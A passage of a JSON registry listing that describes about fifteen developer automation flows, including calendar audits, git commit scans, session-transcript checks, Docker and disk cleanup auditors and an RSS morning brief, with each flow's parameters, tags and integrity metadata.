ines JSONL session transcripts for manual corrections recurring 3+ times and proposes each as a hook candidate (PreToolUse deny+redirect or skill patch). Read-only transcript audit with zero keys; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-hook-mining","audience-developers","session-transcripts","correction-mining"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:39:19.414943+00:00","visibility":"public","quality_score":1,"size_bytes":7131,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["mine_hooks"]},"parameters":[{"name":"transcript_dir","type":"string","required":false,"default":"","description":"Absolute path of JSONL session transcripts; empty mines the bundled synthetic fixture. Relative paths are refused.","example":"/home/user/.claude/projects"},{"name":"min_repeats","type":"integer","required":false,"default":"3","description":"Minimum repeats before a correction becomes a hook candidate","example":"3"},{"name":"max_sessions","type":"integer","required":false,"default":"50","description":"Maximum transcript files mined","example":"100"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:55c0b4a9f44104d6a65e59419c4038548167eee4b13a58fe2ede9f6f19228847","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sundaram2021/tech-pulse-email@0.2.0","reference":"sundaram2021/tech-pulse-email@0.2.0","uri":"https://play.modiqo.ai/sundaram2021/tech-pulse-email@0.2.0","manifest_uri":"https://play.modiqo.ai/sundaram2021/tech-pulse-email@0.2.0","name":"tech-pulse-email","title":"tech-pulse-email","description":"Tech-trending digest emailed every 4 hours: HN tech pulse, GitHub hot repos, X trends, TechCrunch AI headlines, delivered via Gmail SMTP as structured HTML (plus plain-text fallback). Needs GMAIL_SENDER + GMAIL_APP_PASSWORD (local only); dry_run previews without sending.","owner":{"kind":"user","slug":"sundaram2021"},"registry_organization":"sundaram2021","tags":["typescript","trends","digest","email"],"primary_domain":"domain-uncategorized","author":"sundaram2021","version":"0.2.0","published_at":"2026-09-04T18:35:31.848388+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":8635,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["send_email","fetch_trends","render_digest"]},"parameters":[{"name":"email_to","type":"string","required":true,"description":"Recipient address for the digest email"},{"name":"topics","type":"string","required":false,"default":"AI,developer tools,security","description":"Comma-separated topics shaping the HN pulse filter"},{"name":"window_hours","type":"string","required":false,"default":"4","description":"Lookback window in hours for the digest (1-72)"},{"name":"dry_run","type":"string","required":false,"default":"false","description":"Set \"true\" to write a MIME .eml artifact instead of sending"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5d1428db979c4be67b1945a5a198b1c7b01d5190eb80c5cdf06aec6215f9b3b5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/large-commit-scan@0.1.0","reference":"bhanu82/large-commit-scan@0.1.0","uri":"https://play.modiqo.ai/bhanu82/large-commit-scan@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/large-commit-scan@0.1.0","name":"large-commit-scan","title":"large-commit-scan","description":"Commits nobody can review: diffs touching more files or lines than a human can hold. Read-only git-log audit with exact counts. Every-push habit with zero keys; needs only python3 and git.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-commit-hygiene","audience-developers","git","daily-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:17:30.484576+00:00","visibility":"public","quality_score":1,"size_bytes":4752,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["scan_commits"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute path of the git repository; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_commits","type":"integer","required":false,"default":"20","description":"Recent commits scanned (1-100)","example":"10"},{"name":"max_files","type":"integer","required":false,"default":"10","description":"Files-touched threshold for UNREVIEWABLE","example":"15"},{"name":"max_added","type":"integer","required":false,"default":"500","description":"Lines-added threshold for UNREVIEWABLE","example":"300"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:a5e95504f46c87fc64a0a4bb4648e2bbc4fa8c19c62dbbf8997a0504a556b318","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/agenda-gap-check@0.1.0","reference":"bhanu82/agenda-gap-check@0.1.0","uri":"https://play.modiqo.ai/bhanu82/agenda-gap-check@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/agenda-gap-check@0.1.0","name":"agenda-gap-check","title":"agenda-gap-check","description":"Which meetings have no agenda? Read-only .ics audit flagging events with empty or token descriptions as UNPREPARED. Weekly calendar hygiene with zero keys; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-meeting-hygiene","audience-developers","calendar","weekly-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T18:17:28.04121+00:00","visibility":"public","quality_score":1,"size_bytes":4730,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["check_agenda"]},"parameters":[{"name":"ics_path","type":"string","required":false,"default":"","description":"Absolute path of an exported .ics file; empty audits the bundled sample week. Relative paths are refused.","example":"/home/user/export/calendar.ics"},{"name":"min_chars","type":"integer","required":false,"default":"30","description":"Minimum meaningful agenda characters","example":"50"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:fa8e978f198e547218c2f313c2d39c3d7de7778dd01fcc076652ce5b5aed33ba","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/patrickmitchell/aeo-writer@1.0.1","reference":"patrickmitchell/aeo-writer@1.0.1","uri":"https://play.modiqo.ai/patrickmitchell/aeo-writer@1.0.1","manifest_uri":"https://play.modiqo.ai/patrickmitchell/aeo-writer@1.0.1","name":"aeo-writer","title":"aeo-writer","description":"Audit and improve any content's citability for AI assistants — detect mode needs zero API keys","owner":{"kind":"user","slug":"patrickmitchell"},"registry_organization":"patrickmitchell","tags":[],"primary_domain":"domain-uncategorized","author":"patrickmitchell","version":"1.0.1","published_at":"2026-09-04T18:11:45.007444+00:00","visibility":"public","quality_score":0.875,"size_bytes":42618,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["run"]},"parameters":[{"name":"command","type":"string","required":true,"description":"\"detect\" to audit existing content, \"write\" to generate new content"},{"name":"input","type":"string","required":true,"description":"File path (detect mode) or article topic (write mode)"},{"name":"target_url","type":"string","required":false,"description":"Target site URL to match voice (write mode only)"},{"name":"keywords","type":"string","required":false,"description":"Comma-separated target keywords"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:738eb95f036db5341474e2d4d91bb8877464e667a5c0ec860638ab0eb83874c4","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"bash","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":5,"label":"git · bash"}},{"id":"https://play.modiqo.ai/bhanu82/rate-limit-ledger@0.1.0","reference":"bhanu82/rate-limit-ledger@0.1.0","uri":"https://play.modiqo.ai/bhanu82/rate-limit-ledger@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/rate-limit-ledger@0.1.0","name":"rate-limit-ledger","title":"rate-limit-ledger","description":"Where did the session hit the rate wall? Tallies throttle incidents in session evidence with waits quoted from evidence, never extrapolated. Session-evidence check with zero keys; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-throttle-audit","audience-developers","sessions","rate-limits"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T14:28:27.986115+00:00","visibility":"public","quality_score":1,"size_bytes":5534,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["tally_limits"]},"parameters":[{"name":"session_path","type":"string","required":false,"default":"","description":"Absolute path of a session JSON dump or JSONL transcript; empty runs the bundled synthetic fixture","example":"/home/user/.hermes/session-dump.json"},{"name":"max_bytes","type":"integer","required":false,"default":"5000000","description":"Maximum bytes read from a transcript file","example":"2000000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:38936dd369abb48053c349ec27853e023329f158f0cd4ee2795a4c62bd714c59","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/error-spiral-trap@0.1.0","reference":"bhanu82/error-spiral-trap@0.1.0","uri":"https://play.modiqo.ai/bhanu82/error-spiral-trap@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/error-spiral-trap@0.1.0","name":"error-spiral-trap","title":"error-spiral-trap","description":"Catch the error spiral before it eats the session budget. Finds runs where the same tool fails on the same target 3+ times and reports the longest spiral. Session-evidence check with zero keys; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-error-spiral-detection","audience-developers","sessions","token-efficiency"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T14:28:25.435562+00:00","visibility":"public","quality_score":1,"size_bytes":6069,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["detect_spirals"]},"parameters":[{"name":"session_path","type":"string","required":false,"default":"","description":"Absolute path of a session JSON dump or JSONL transcript; empty runs the bundled synthetic fixture","example":"/home/user/.hermes/session-dump.json"},{"name":"max_bytes","type":"integer","required":false,"default":"5000000","description":"Maximum bytes read from a transcript file","example":"2000000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:31dc7cd7ac3c1e009507c0a6b71d5f3ad70d15b83eaa37704a652437617100ce","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/himanshu-jha/disk-pressure-map@0.1.1","reference":"himanshu-jha/disk-pressure-map@0.1.1","uri":"https://play.modiqo.ai/himanshu-jha/disk-pressure-map@0.1.1","manifest_uri":"https://play.modiqo.ai/himanshu-jha/disk-pressure-map@0.1.1","name":"disk-pressure-map","title":"disk-pressure-map","description":"Maps disk pressure without turning a large directory into a deletion recommendation. Four independent surveys run concurrently: volume capacity, project artifacts backed by an ecosystem marker and regeneration command, exact tool-owned cache locations, and heavy paths left unclassified. Broad state containers such as ~/.cache, ~/Library/Caches, and ~/.docker are never called reclaimable. Canonical paths are de-duplicated across roots and categories, and every filesystem walk, cache measurement, and heavy-path survey has a reported time or item bound. Any truncation, unreadable requested root, or failed size measurement makes the verdict INCOMPLETE. Read-only: it measures and deletes nothing.","owner":{"kind":"org","slug":"himanshu-jha"},"registry_organization":"himanshu-jha","tags":["effect-read-only","audience-developers","domain-developer-machine","job-disk-reclamation","tool-du","diagnostics","composition"],"primary_domain":"domain-developer-machine","author":"himanshu748","version":"0.1.1","published_at":"2026-09-04T13:32:30.352693+00:00","visibility":"public","quality_score":1,"size_bytes":13293,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["heavy","caches","report","capacity","reclaimable"]},"parameters":[{"name":"roots","type":"string","required":false,"default":"~","description":"Comma separated directories to search for regenerable build output. Defaults to your home directory, which is thorough but slower than naming the folder you actually keep projects in.","example":"~/code,~/projects"},{"name":"budget","type":"string","required":false,"default":"10","description":"Seconds each walk may spend before stopping. A walk that stops early is reported as truncated rather than presented as a complete total.","example":"30"},{"name":"limit","type":"string","required":false,"default":"2000","description":"Maximum directories visited by the project scan and maximum top-level entries measured by the heavy-path survey. Hitting it marks the result INCOMPLETE.","example":"10000"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:03131bbf25f2b349d8f8453097b20c2eb524a7def3b59153d41687bf602d0426","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":4,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajtiwari/port-conflict-liberator@0.1.0","reference":"rajtiwari/port-conflict-liberator@0.1.0","uri":"https://play.modiqo.ai/rajtiwari/port-conflict-liberator@0.1.0","manifest_uri":"https://play.modiqo.ai/rajtiwari/port-conflict-liberator@0.1.0","name":"port-conflict-liberator","title":"port-conflict-liberator","description":"Localhost port conflict diagnoser and instant process liberator. Resolves 'Error listen EADDRINUSE' by scanning commonly collided dev ports (3000, 3001, 5173, 8000, 8080, 5432, 6379, 27017) or a custom target. Identifies the PID, process name, memory footprint, and provides graceful one-liner liberation commands.","owner":{"kind":"user","slug":"rajtiwari"},"registry_organization":"rajtiwari","tags":["ports","localhost","networking","debugging","developer-tools","process-management","eaddrinuse"],"primary_domain":"domain-uncategorized","author":"rajtiwari","version":"0.1.0","published_at":"2026-09-04T13:29:02.433435+00:00","visibility":"public","quality_score":1,"size_bytes":5456,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["port_scanner","process_resolver","safety_classifier","liberation_planner"]},"parameters":[{"name":"target_port","type":"string","required":false,"default":"all","description":"Specific port to scan (e.g. 3000, 8080) or 'all' to audit all common dev ports"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ced6b5a4a3ed95e72e19dfb774c7408fb09f1c8ad2ac0128c43b73f45fc90918","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/rajtiwari/docker-hygiene-reaper@0.1.0","reference":"rajtiwari/docker-hygiene-reaper@0.1.0","uri":"https://play.modiqo.ai/rajtiwari/docker-hygiene-reaper@0.1.0","manifest_uri":"https://play.modiqo.ai/rajtiwari/docker-hygiene-reaper@0.1.0","name":"docker-hygiene-reaper","title":"docker-hygiene-reaper","description":"Local Docker storage auditor and safe cleanup doctor. Analyzes dead containers, dangling image layers, anonymous orphan volumes, build cache bloat, and conflicting port bindings. Computes reclaimable disk gigabytes and generates safe, non-destructive prune commands to protect production databases.","owner":{"kind":"user","slug":"rajtiwari"},"registry_organization":"rajtiwari","tags":["docker","devops","containers","storage","cleanup","disk-space","developer-tools"],"primary_domain":"domain-uncategorized","author":"rajtiwari","version":"0.1.0","published_at":"2026-09-04T13:26:34.621412+00:00","visibility":"public","quality_score":1,"size_bytes":6388,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["docker_probe","volume_auditor","reclaim_planner","container_auditor","image_layer_auditor"]},"parameters":[{"name":"dry_run","type":"string","required":false,"default":"true","description":"Preview reclaimable space without deletion (set false to execute safe cleanup)"},{"name":"preserve_volumes","type":"string","required":false,"default":"true","description":"Preserve named volumes to protect persistent database storage"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:6a7deebb5b014394e2046eed6f1517c8c87f24a4fa62c32e85ee4cd38c00efc8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/editor-style-guard@0.1.0","reference":"bhanu82/editor-style-guard@0.1.0","uri":"https://play.modiqo.ai/bhanu82/editor-style-guard@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/editor-style-guard@0.1.0","name":"editor-style-guard","title":"editor-style-guard","description":"Noisy diffs are a daily tax: trailing whitespace, missing final newlines, mixed tabs-and-spaces, CRLF endings. Scans the worktree read-only with no git needed and lists offending lines. Zero keys, python3 stdlib only.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-style-hygiene","audience-developers","diffs","daily-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T13:19:53.78149+00:00","visibility":"public","quality_score":1,"size_bytes":4639,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["scan_style"]},"parameters":[{"name":"root","type":"string","required":false,"default":"","description":"Absolute path of the worktree; relative paths are refused because a step runs in rote's workspace, not your shell directory","example":"/home/user/my-repo"},{"name":"max_files","type":"integer","required":false,"default":"500","description":"Maximum text files checked","example":"200"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:711c649800eaf132b3cc1061e2e5b2b775ff995f685a5b0112f4e843dfb2ec5b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/ics-meeting-cost@0.1.0","reference":"bhanu82/ics-meeting-cost@0.1.0","uri":"https://play.modiqo.ai/bhanu82/ics-meeting-cost@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/ics-meeting-cost@0.1.0","name":"ics-meeting-cost","title":"ics-meeting-cost","description":"Audits an exported calendar file for meeting load and fragmentation: total hours, days without a focus block, worst back-to-back run, overlaps flagged. Weekly Friday habit with zero adapters; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-meeting-cost-audit","audience-developers","calendar","weekly-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T12:52:27.825269+00:00","visibility":"public","quality_score":1,"size_bytes":6769,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["parse_week"]},"parameters":[{"name":"ics_path","type":"string","required":false,"default":"","description":"Absolute path of an exported .ics file; empty audits the bundled sample week. Relative paths are refused.","example":"/home/user/export/calendar.ics"},{"name":"week_offset","type":"integer","required":false,"default":"0","description":"Weeks back from the latest event week (0 = latest)","example":"1"},{"name":"focus_min","type":"integer","required":false,"default":"90","description":"Minutes defining a focus block inside 09:00-18:00","example":"120"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:79b24e66e8d708e7e92c9b2defdb9f4ebdceba7b8dbbcd1f51eb8d1494559975","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":1,"kinds":{"api":0,"shell":1,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":1,"fan_out":0,"for_each_steps":0,"complexity":1,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/rss-morning-brief@0.1.0","reference":"bhanu82/rss-morning-brief@0.1.0","uri":"https://play.modiqo.ai/bhanu82/rss-morning-brief@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/rss-morning-brief@0.1.0","name":"rss-morning-brief","title":"rss-morning-brief","description":"Reads your public RSS/Atom feeds and prints this morning's brief: fresh items newest-first with per-feed counts. Failed feeds stay DEGRADED, undated items UNKNOWN. Daily 09:00 habit with zero API keys; needs only python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-morning-brief","audience-developers","rss","daily-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-04T12:52:13.04389+00:00","visibility":"public","quality_score":1,"size_bytes":6490,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["join_brief","fetch_feeds"]},"parameters":[{"name":"feeds","type":"string","required":false,"default":"","description":"Comma-separated RSS/Atom URLs; empty reads the bundled samples demo","example":"https://hnrss.org/frontpage,https://example.blog/feed"},{"name":"max_items","type":"integer","required":false,"default":"30","description":"Maximum items shown in the brief","example":"15"},{"name":"hours_back","type":"integer","required":false,"default":"24","description":"Freshness window in hours","example":"48"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:ff5645a0d0989d0ba907b0670f4290c779e8c9ea64a5590f49e7fc03e6d8232e","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":1,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sundaram2021/google-form-draft-fill@0.1.0","reference":"sundaram2021/google-form-draft-fill@0.1.0","uri":"https://play.modiqo.ai/sundaram2021/google-form-draft-fill@0.1.0","manifest_uri":"https://play.modiqo.ai/sundaram2021/google-form-draft-fill@0.1.0","name":"google-form-draft-fill","title":"google-form-draft-fill","description":"Fill a public Google Form as an unsubmitted draft: field inventory first, then text/dropdown/radio answers from parameters, verified via fresh snapshot. Never submits.","owner":{"kind":"user","slug":"sundaram2021"},"registry_organization":"sundaram2021","tags":["typescript","browser","google-forms"],"primary_domain":"domain-uncategorized","author":"sundaram2021","version":"0.1.0","published_at":"2026-09-04T12:46:01.546862+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5130,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":0,"names":[]},"parameters":[{"name":"form_url","type":"string","required":true,"description":"Public Google Forms viewform URL (https://docs.google.com/forms/…/viewform)"},{"name":"answers","type":"string","required":false,"default":"{}","description":"JSON map of field label to answer, e.g. {\"Name\":\"Ada\",\"Workshop\":\"Google Crash Course\"}"},{"name":"inventory_only","type":"string","required":false,"default":"false","description":"Set \"true\" to extract and show the field inventory without filling anything"}],"execution":{"adapters":[],"browser":true,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f6e6fb57303c4151c297582a4f8c12d42701f8afcbd044d5829197c8ea0e14ae","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/himanshu-jha/retry-amplification-budget@0.1.0","reference":"himanshu-jha/retry-amplification-budget@0.1.0","uri":"https://play.modiqo.ai/himanshu-jha/retry-amplification-budget@0.1.0","manifest_uri":"https://play.modiqo.ai/himanshu-jha/retry-amplification-budget@0.1.0","name":"retry-amplification-budget","title":"retry-amplification-budget","description":"Models retry amplification across client, gateway, service, and dependency layers. Use it during overload/timeout incidents and before every retry, timeout, hedge, or pool configuration review. Four sibling probes calculate the multiplicative attempt tree, a timeout/backoff latency envelope, offered concurrency against per-layer pools, and policy hazards such as overlapping retry domains, missing jitter, hedging, and non-idempotent retries; a synthesis join compares all of them with explicit end-to-end budgets and prioritizes the control changes. It reads JSON only, generates no traffic, sleeps never, and changes no configuration. Run with input=evidence/retry-stack.json or omit input for the bundled demo. Limits: the model is a conservative 